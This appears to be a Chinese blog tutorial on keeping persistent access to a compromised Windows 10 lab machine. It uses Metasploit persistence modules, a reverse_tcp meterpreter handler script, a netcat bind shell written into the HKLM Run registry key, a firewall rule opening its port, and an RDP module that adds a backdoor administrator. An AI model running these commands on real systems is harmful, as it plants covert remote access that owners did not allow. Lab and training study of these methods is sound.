前言
大体上来讲,这几种权限维持的方法都是通过服务或者注册表,使一些木马开机时自动运行,就可以实现权限维持。
1.使用msf的exploit/windows/local/persistence_service模块
2.使用msf的post/windows/manage/persistence_exe模块
3.使用msf的exploit/windows/local/registry_persistence模块
4.使用nc进行权限维持
5.使用远程桌面进行权限维持
persistence_service模块
这个模块是通过,安装一个服务,且在tmp目录下安装了一个exe的程序,
来指定去连接的主机
1.拿下主机的system权限,这里用的是win10的靶机

2.运行模块 ,配置一下session,改一下端口,等等监听这个端口

运行这个模块,有个程序,确定存在就可以了
然后再开一个msf监听这个端口,重启win10

5678.rc的内容
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.90.219
set LPORT 5678
exploit -j -z

重新拿到shell

persistence_exe模块
这个模块,就是传个exe的程序上去,写到注册表里面,然后开机自启
1.拿下主机system权限

2.使用post/windows/manage/persistence_exe模块
这个模块的原理是在注册表中自启动一个程序,这个程序需要指定,如下图所示

3.运行后查看程序是否存在
这里,我也不知道出现了啥问题,这个模块死活写不进注册表,
但是流程是这样,原理也是这样的。
下面那个注册表的位置找了一圈没找到,但是程序确实在temp目录下面有

4.根据那个上传的程序,再确定用什么方法监听shell,我这里用的就是msf生成的木马,
原则上重启win10就可以拿到这个shell,但是我没做成功

registry_persistence模块
这个和刚刚那个是一样的,区别是这个不用指定程序,
相当于直接使用的是msf生成的木马程序,原理也是写入注册表。

使用nc进行权限维持
这个也是把nc放到自启项中,然后nc把shell丢出去,再主动连接这个shell
nc的命令详解
nc.exe -Ldp 4445 -e cmd.exe

将nc写入注册表,注意需要管理员权限
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v netcat /t REG_SZ /d "C:\Users\admin\Desktop\nc.exe -Ldp 4445 -e cmd.exe" /f

防火墙放行4445端口
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445

连接nc的两种方式

远程桌面的权限维持
这个就是直接开启远程桌面的服务,msf有模块可以快捷开启
post/windows/manage/enable_rdp
这个模块可以创建一个用户,直接加入远程桌面组和管理员组
设置password和username即可

用kali连接远程桌面

后话
下一篇讲端口转发了,他讲的那个工具也还行,比较方便,但是我会补充一个别的工具可以做代理转发,但是下一篇啥时候发,就不一定了……
本文详细介绍了通过MSF模块(如persistence_service、persistence_exe和registry_persistence)、nc、远程桌面等手段在Windows系统上实现开机权限维持的方法,以及如何配置和使用这些工具。
1527





